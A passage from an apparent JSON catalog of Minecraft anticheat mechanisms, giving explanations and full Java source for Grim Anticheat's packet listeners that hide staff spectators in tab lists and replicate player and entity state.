       "detects": "Not a cheat detection: it hides the anticheat's own spectators from other players' tab lists, which also removes the game-mode tell that would expose staff spectating.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketHidePlayerInfo.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketListenerAbstract;\nimport com.github.retrooper.packetevents.event.PacketListenerPriority;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.GameMode;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfo;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoUpdate;\n\nimport java.util.ArrayList;\nimport java.util.EnumSet;\nimport java.util.List;\n\npublic class PacketHidePlayerInfo extends PacketListenerAbstract {\n\n    public PacketHidePlayerInfo() {\n        super(PacketListenerPriority.HIGHEST);\n    }\n\n    @Override\n    public boolean isPreVia() {\n        return true;\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO) {\n            // iterate through players and fake their game mode if they are spectating via grim spectate\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_12_2))\n                return;\n\n            GrimPlayer receiver = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n\n            if (receiver == null) { // Exempt\n                return;\n            }\n\n            WrapperPlayServerPlayerInfo info = new WrapperPlayServerPlayerInfo(event);\n\n            if (info.getAction() == WrapperPlayServerPlayerInfo.Action.UPDATE_GAME_MODE || info.getAction() == WrapperPlayServerPlayerInfo.Action.ADD_PLAYER) {\n                List<WrapperPlayServerPlayerInfo.PlayerData> nmsPlayerInfoDataList = info.getPlayerDataList();\n\n                int hideCount = 0;\n                for (WrapperPlayServerPlayerInfo.PlayerData playerData : nmsPlayerInfoDataList) {\n                    if (GrimAPI.INSTANCE.getSpectateManager().shouldHidePlayer(receiver, playerData)) {\n                        hideCount++;\n                        if (playerData.getGameMode() == GameMode.SPECTATOR)\n                            playerData.setGameMode(GameMode.SURVIVAL);\n                    }\n                }\n\n                // if amount of hidden players is the amount of players updated & is an update game mode action just cancel it\n                if (hideCount == nmsPlayerInfoDataList.size() && info.getAction() == WrapperPlayServerPlayerInfo.Action.UPDATE_GAME_MODE) {\n                    event.setCancelled(true);\n                } else if (hideCount > 0) {\n                    event.markForReEncode(true);\n                }\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_UPDATE) {\n            GrimPlayer receiver = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (receiver == null) return;\n\n            WrapperPlayServerPlayerInfoUpdate wrapper = new WrapperPlayServerPlayerInfoUpdate(event);\n            EnumSet<WrapperPlayServerPlayerInfoUpdate.Action> actions = wrapper.getActions();\n            if (!actions.contains(WrapperPlayServerPlayerInfoUpdate.Action.UPDATE_GAME_MODE)) return;\n\n            boolean onlyGameMode = actions.size() == 1; // packet is being sent to only update game modes\n            int hideCount = 0;\n            List<WrapperPlayServerPlayerInfoUpdate.PlayerInfo> modified = new ArrayList<>(wrapper.getEntries().size());\n            // iterate through the player entries\n            for (WrapperPlayServerPlayerInfoUpdate.PlayerInfo entry : wrapper.getEntries()) {\n                // check if the player should be hidden\n                WrapperPlayServerPlayerInfoUpdate.PlayerInfo modifiedPacket = null;\n                if (GrimAPI.INSTANCE.getSpectateManager().shouldHidePlayer(receiver, entry.getGameProfile().getUUID())) {\n                    hideCount++;\n                    // modify & create a new packet from pre-existing one if they are a spectator\n                    if (entry.getGameMode() == GameMode.SPECTATOR) {\n                        modifiedPacket = new WrapperPlayServerPlayerInfoUpdate.PlayerInfo(entry);\n                        modifiedPacket.setGameMode(GameMode.SURVIVAL);\n                        modified.add(modifiedPacket);\n                    }\n                }\n\n                if (modifiedPacket == null) {  // if the packet wasn't modified, send original\n                    modified.add(entry);\n                } else if (!onlyGameMode) { // if more than just the game mode updated, modify the packet\n                    modified.add(modifiedPacket);\n                } // if only the game mode was updated and the packet was modified, don't send anything\n            }\n\n            // if the amount of hidden players & modified entries are the same\n            if (hideCount == modified.size()) {\n                if (onlyGameMode) { // if only the game mode changed, cancel\n                    event.setCancelled(true);\n                } else { // if more than the game mode changed, remove the action\n                    wrapper.getActions().remove(WrapperPlayServerPlayerInfoUpdate.Action.UPDATE_GAME_MODE);\n                    event.markForReEncode(true);\n                }\n            } else { // modify entries\n                wrapper.setEntries(modified);\n                event.markForReEncode(true);\n            }\n        }\n    }\n}\n// NOTE (AI): The listener runs at HIGHEST priority pre-Via so the rewrite happens before version conversion. The SpectateManager.shouldHidePlayer policy drives both branches, and packets are cancelled only when nothing meaningful remains to send.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketHidePlayerInfo.java",
       "variations": "No other anticheat in the corpus touches player-list packets; the rest of the S38 corpus hits are tab-complete (C0B) or table-name keyword noise."
      },
      {
       "name": "Player-list replication (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Record the UUID-to-profile mappings announced on the player list so entity and profile lookups in checks resolve correctly.",
       "how_it_works": "PacketEntityReplication wraps PLAYER_INFO and PLAYER_INFO_UPDATE sends and, transaction-sandwiched, puts ADD_PLAYER game profiles into compensatedEntities.profiles and removes them on REMOVE_PLAYER. The profile map feeds checks that need the game profile behind an entity id or uuid.",
       "detects": "None directly; it is state replication that keeps the compensated entity model consistent with the tab list.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.api.config.ConfigManager;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.LogUtil;\nimport ac.grim.grimac.utils.data.SprintingState;\nimport ac.grim.grimac.utils.data.TrackerData;\nimport ac.grim.grimac.utils.data.packetentity.DashableEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityHook;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityTrackXRot;\nimport ac.grim.grimac.utils.enums.Pose;\nimport ac.grim.grimac.utils.nmsutil.EntityMetadataPoseUtil;\nimport ac.grim.grimac.utils.viaversion.ViaVersionUtil;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.entity.EntityPositionData;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityData;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.protocol.player.UserProfile;\nimport com.github.retrooper.packetevents.protocol.potion.PotionType;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerAttachEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDestroyEntities;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEquipment;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityMetadata;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityPositionSync;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMoveAndRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityStatus;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityTeleport;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfo;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoRemove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoUpdate;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerRemoveEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetPassengers;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetSlot;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnLivingEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPainting;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPlayer;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWindowItems;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.UUID;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\npublic class PacketEntityReplication extends Check implements PacketReceiveListener, PacketSendListener {\n\n    private final AtomicBoolean hasSentPreWavePacket = new AtomicBoolean(true);\n\n    // Let's imagine the player is on a boat.\n    // The player breaks this boat\n    // If we were to despawn the boat without an extra transaction, then the boat would disappear before\n    // it disappeared on the client side, creating a ghost boat to flag checks with\n    //\n    // If we were to despawn the tick after, spawning must occur the transaction before to stop the same exact\n    // problem with ghost boats in reverse.\n    //\n    // Therefore, we despawn the transaction after, and spawn the tick before.\n    //\n    // If we despawn then spawn an entity in the same transaction, then this solution would despawn the new entity\n    // instead of the old entity, so we wouldn't see the boat at all\n    //\n    // Therefore, if the server sends a despawn and then a spawn in the same transaction for the same entity,\n    // We should simply add a transaction (which will clear this list!)\n    //\n    // Another valid solution is to simply spam more transactions, but let's not waste bandwidth.\n    private final List<Integer> despawnedEntitiesThisTransaction = new ArrayList<>();\n\n    // Maximum ping when a firework boost is removed from the player.\n    private int maxFireworkBoostPing = 1000;\n\n    public PacketEntityReplication(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        // Teleports don't interpolate, duplicate 1.17 packets don't interpolate\n        if (!isTickPacket(event.getPacketType())) return;\n        player.compensatedEntities.entitiesRemovedThisTick.clear();\n        boolean isTickingReliably = player.isTickingReliablyFor(3);\n\n        PacketEntity playerVehicle = player.compensatedEntities.self.getRiding();\n        for (PacketEntity entity : player.compensatedEntities.entityMap.values()) {\n            if (entity == playerVehicle && !player.vehicleData.lastDummy) {\n                // The player has this as their vehicle, so they aren't interpolating it.\n                // And it isn't a dummy position\n                entity.setPositionRaw(player, entity.getPossibleLocationBoxes());\n            } else {\n                entity.onMovement(isTickingReliably);\n            }\n        }\n\n        if (player.vehicleData.camelSprintingState == SprintingState.STOPPING) {\n            player.vehicleData.camelSprintingState = SprintingState.STOPPED;\n        } else if (player.vehicleData.camelSprintingState == SprintingState.STOPPED && player.isSprinting) { // For sprint desyncs\n            player.vehicleData.camelSprintingState = SprintingState.STARTED;\n        }\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        // ensure grim is the one that sent the transaction\n        if ((event.getPacketType() == PacketType.Play.Server.PING || event.getPacketType() == PacketType.Play.Server.WINDOW_CONFIRMATION) && player.packetStateData.lastServerTransWasValid) {\n            despawnedEntitiesThisTransaction.clear();\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_LIVING_ENTITY) {\n            WrapperPlayServerSpawnLivingEntity packetOutEntity = new WrapperPlayServerSpawnLivingEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getEntityUUID(), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_ENTITY) {\n            WrapperPlayServerSpawnEntity packetOutEntity = new WrapperPlayServerSpawnEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID().orElse(null), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), null, packetOutEntity.getData());\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PLAYER) {\n            WrapperPlayServerSpawnPlayer packetOutEntity = new WrapperPlayServerSpawnPlayer(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PLAYER, packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PAINTING) {\n            WrapperPlayServerSpawnPainting packetOutEntity = new WrapperPlayServerSpawnPainting(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PAINTING, packetOutEntity.getPosition().toVector3d(), 0, 0f, null, packetOutEntity.getDirection().getHorizontalIndex());\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE) {\n            WrapperPlayServerEntityRelativeMove move = new WrapperPlayServerEntityRelativeMove(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), null, null, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE_AND_ROTATION) {\n            WrapperPlayServerEntityRelativeMoveAndRotation move = new WrapperPlayServerEntityRelativeMoveAndRotation(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_TELEPORT) {\n            WrapperPlayServerEntityTeleport move = new WrapperPlayServerEntityTeleport(event);\n            Vector3d pos = move.getPosition();\n            handleMoveEntity(event, move.getEntityId(), pos.getX(), pos.getY(), pos.getZ(), move.getYaw(), move.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_POSITION_SYNC) {\n            // ENTITY_TELEPORT but without relative flags\n            WrapperPlayServerEntityPositionSync move = new WrapperPlayServerEntityPositionSync(event);\n            final EntityPositionData values = move.getValues();\n            final Vector3d pos = values.getPosition();\n            // TODO this isn't technically correct\n            // If the position sync is to a pos > 4096 from the entity pos, client does some special stuff without interpolation\n            handleMoveEntity(event, move.getId(), pos.getX(), pos.getY(), pos.getZ(), values.getYaw(), values.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_ROTATION) { // Affects interpolation\n            WrapperPlayServerEntityRotation move = new WrapperPlayServerEntityRotation(event);\n            handleMoveEntity(event, move.getEntityId(), 0, 0, 0, move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, false);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_METADATA) {\n            WrapperPlayServerEntityMetadata entityMetadata = new WrapperPlayServerEntityMetadata(event);\n            schedulePoseTransition(entityMetadata, event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityMetadata(entityMetadata.getEntityId(), entityMetadata.getEntityMetadata()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EQUIPMENT) {\n            WrapperPlayServerEntityEquipment equipment = new WrapperPlayServerEntityEquipment(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityEquipment(equipment.getEntityId(), equipment.getEquipment()));\n        }\n\n        // 1.19.3+\n        else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_UPDATE) {\n            WrapperPlayServerPlayerInfoUpdate info = new WrapperPlayServerPlayerInfoUpdate(event);\n            if (info.getActions().contains(WrapperPlayServerPlayerInfoUpdate.Action.ADD_PLAYER)) {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    for (WrapperPlayServerPlayerInfoUpdate.PlayerInfo entry : info.getEntries()) {\n                        final UserProfile gameProfile = entry.getGameProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                });\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_REMOVE) {\n            WrapperPlayServerPlayerInfoRemove remove = new WrapperPlayServerPlayerInfoRemove(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> remove.getProfileIds().forEach(player.compensatedEntities.profiles::remove));\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO) {\n            WrapperPlayServerPlayerInfo info = new WrapperPlayServerPlayerInfo(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (info.getAction() == WrapperPlayServerPlayerInfo.Action.ADD_PLAYER) {\n                    for (WrapperPlayServerPlayerInfo.PlayerData entry : info.getPlayerDataList()) {\n                        final UserProfile gameProfile = entry.getUserProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                } else if (info.getAction() == WrapperPlayServerPlayerInfo.Action.REMOVE_PLAYER) {\n                    info.getPlayerDataList().forEach(profile -> player.compensatedEntities.profiles.remove(profile.getUserProfile().getUUID()));\n                }\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EFFECT) {\n            WrapperPlayServerEntityEffect effect = new WrapperPlayServerEntityEffect(event);\n\n            PotionType type = effect.getPotionType();\n\n            // ViaVersion tries faking levitation effects and fails badly lol, flagging the anticheat\n            // Block other effects just in case ViaVersion gets any ideas\n            //\n            // Set to 24 so ViaVersion blocks it\n            // 24 is the levitation effect\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) > 23) {\n                event.setCancelled(true);\n                return;\n            }\n\n            // ViaVersion dolphin's grace also messes us up, set it to a potion effect that doesn't exist on 1.12\n            // Effect 31 is bad omen\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_13) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) == 30) {\n                event.setCancelled(true);\n                return;\n            }\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.addPotionEffect(type, effect.getEffectAmplifier());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.REMOVE_ENTITY_EFFECT) {\n            WrapperPlayServerRemoveEntityEffect effect = new WrapperPlayServerRemoveEntityEffect(event);\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.removePotionEffect(effect.getPotionType());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.UPDATE_ATTRIBUTES) {\n            WrapperPlayServerUpdateAttributes attributes = new WrapperPlayServerUpdateAttributes(event);\n\n            int entityID = attributes.getEntityId();\n\n            // The attributes for this entity is active, currently\n            if (isDirectlyAffectingPlayer(player, entityID)) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(),\n                    () -> player.compensatedEntities.updateAttributes(entityID, attributes.getProperties()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_STATUS) {\n            WrapperPlayServerEntityStatus status = new WrapperPlayServerEntityStatus(event);\n            // This hasn't changed from 1.7.2 to 1.17\n            // Needed to exempt players on dead vehicles, as dead entities have strange physics.\n            if (status.getStatus() == 3) {\n                PacketEntity entity = player.compensatedEntities.getEntity(status.getEntityId());\n\n                if (entity == null) return;\n                entity.isDead = true;\n            }\n\n            if (status.getStatus() == 9) {\n                if (status.getEntityId() != player.entityID) return;\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n            }\n\n            if (status.getStatus() == 31) {\n                PacketEntity hook = player.compensatedEntities.getEntity(status.getEntityId());\n                if (!(hook instanceof PacketEntityHook hookEntity)) return;\n\n                if (hookEntity.attached == player.entityID) {\n                    player.sendTransaction();\n                    // We don't transaction sandwich this, it's too rare to be a real problem.\n                    player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.uncertaintyHandler.fishingRodPulls.add(hookEntity.owner));\n                }\n            }\n\n            if (status.getStatus() >= 24 && status.getStatus() <= 28 && status.getEntityId() == player.entityID) {\n                player.compensatedEntities.self.opLevel = status.getStatus() - 24;\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_SLOT) {\n            WrapperPlayServerSetSlot slot = new WrapperPlayServerSetSlot(event);\n\n            if (slot.getWindowId() == 0) {\n                Runnable task = () -> {\n                    if (slot.getSlot() - 36 == player.packetStateData.lastSlotSelected && (\n                            !player.inventory.getHeldItem().is(slot.getItem().getType()) || player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)\n                    ) || slot.getSlot() == 45 && !player.inventory.getOffHand().is(slot.getItem().getType())) {\n                        InteractionHand hand = slot.getSlot() == 45 ? InteractionHand.OFF_HAND : InteractionHand.MAIN_HAND;\n                        if (hand == player.packetStateData.itemInUseHand) {\n                            player.packetStateData.setSlowedByUsingItem(false);\n                        }\n\n                        if (player.isResetItemUsageOnItemUpdate() && hand == GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer)) {\n                            GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.WINDOW_ITEMS) {\n            WrapperPlayServerWindowItems items = new WrapperPlayServerWindowItems(event);\n\n            if (items.getWindowId() == 0) { // Player inventory\n                Runnable task = () -> {\n                    if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)) {\n                        player.packetStateData.setSlowedByUsingItem(false);\n                        if (player.isResetItemUsageOnItemUpdate()) {\n                            GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    } else {\n                        if (items.getItems().size() > 45 && !player.inventory.getOffHand().is(items.getItems().get(45).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.OFF_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.OFF_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n\n                        if (!player.inventory.getHeldItem().is(items.getItems().get(player.packetStateData.lastSlotSelected + 36).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.MAIN_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.MAIN_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        }\n\n        // 1.8 clients fail to send the RELEASE_USE_ITEM packet when a window is opened client sided while using an item\n        else if (event.getPacketType() == PacketType.Play.Server.OPEN_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.OPEN_HORSE_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_PASSENGERS) {\n            WrapperPlayServerSetPassengers mount = new WrapperPlayServerSetPassengers(event);\n\n            int vehicleID = mount.getEntityId();\n            int[] passengers = mount.getPassengers();\n\n            handleMountVehicle(event, vehicleID, passengers);\n        } else if (event.getPacketType() == PacketType.Play.Server.ATTACH_ENTITY) {\n            WrapperPlayServerAttachEntity attach = new WrapperPlayServerAttachEntity(event);\n\n            // This packet was replaced by the mount packet on 1.9+ servers - to support multiple passengers on one vehicle\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))\n                return;\n\n            // If this is mounting rather than leashing\n            if (!attach.isLeash()) {\n                // Alright, let's convert this to the 1.9+ format to make it easier for grim\n                int vehicleID = attach.getHoldingId();\n                int attachID = attach.getAttachedId();\n                TrackerData trackerData = player.compensatedEntities.getTrackedEntity(attachID);\n\n                if (trackerData != null) {\n                    // 1.8 sends a vehicle ID of -1 to dismount the entity from its vehicle\n                    // This is opposite of the 1.9+ format, which sends the vehicle ID and then an empty array.\n                    if (vehicleID == -1) { // Dismounting\n                        vehicleID = trackerData.getLegacyPointEightMountedUpon();\n                        handleMountVehicle(event, vehicleID, new int[]{}); // The vehicle is empty\n                    } else { // Mounting\n                        trackerData.setLegacyPointEightMountedUpon(vehicleID);\n                        handleMountVehicle(event, vehicleID, new int[]{attachID});\n                    }\n                } else {\n                    // I don't think we can recover from this... warn and move on as this shouldn't happen.\n                    LogUtil.warn(\"Server sent an invalid attach entity packet for entity \" + attach.getHoldingId() + \" with passenger \" + attach.getAttachedId() + \"! The client ignores this.\");\n                }\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.DESTROY_ENTITIES) {\n            WrapperPlayServerDestroyEntities destroy = new WrapperPlayServerDestroyEntities(event);\n\n            int[] destroyEntityIds = destroy.getEntityIds();\n\n            for (int entityID : destroyEntityIds) {\n                despawnedEntitiesThisTransaction.add(entityID);\n                player.compensatedEntities.serverPositionsMap.remove(entityID);\n                // Remove the tracked vehicle (handling tracking knockback) if despawned\n                if (player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == entityID) {\n                    player.compensatedEntities.serverPlayerVehicle = null;\n                }\n            }\n\n            final int destroyTransaction = player.lastTransactionSent.get() + 1;\n            player.latencyUtils.addRealTimeTask(destroyTransaction, () -> {\n                for (int entityId : destroyEntityIds) {\n                    player.compensatedEntities.removeEntity(entityId);\n                    player.dashableEntities.removeEntity(entityId);\n                    player.fireworks.removeFirework(entityId);\n                    player.compensatedEntities.entitiesRemovedThisTick.add(entityId);\n                }\n            });\n\n            // Don't let the player freeze transactions to keep the firework boost velocity + uncertainty\n            // Also generally prevents people with high ping gaining too high an advantage in firework use\n            if (maxFireworkBoostPing > 0) {\n                player.runNettyTaskInMs(() -> {\n                    if (player.lastTransactionReceived.get() >= destroyTransaction) return;\n                    for (int entityID : destroyEntityIds) {\n                        // If the player has a firework boosting them, setback\n                        if (player.fireworks.hasFirework(entityID)) {\n                            player.getSetbackTeleportUtil().executeViolationSetback();\n                            break;\n                        }\n                    }\n                }, maxFireworkBoostPing);\n            }\n        }\n    }\n\n    private void handleMountVehicle(PacketSendEvent event, int vehicleID, int[] passengers) {\n        boolean wasInVehicle = player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == vehicleID;\n        boolean inThisVehicle = false;\n\n        for (int passenger : passengers) {\n            inThisVehicle = passenger == player.entityID;\n            if (inThisVehicle) break;\n        }\n\n        if (inThisVehicle && !wasInVehicle) {\n            player.handleMountVehicle(vehicleID);\n        }\n\n        if (!inThisVehicle && wasInVehicle) {\n            player.handleDismountVehicle(event);\n        }\n        // Better lag compensation if we were affected by this\n        if (wasInVehicle || inThisVehicle) {\n            player.sendTransaction();\n        }\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity vehicle = player.compensatedEntities.getEntity(vehicleID);\n\n            // Vanilla likes sending null vehicles, so we must ignore those like the client ignores them\n            if (vehicle == null) return;\n\n            // Eject existing passengers for this vehicle\n            for (PacketEntity passenger : new 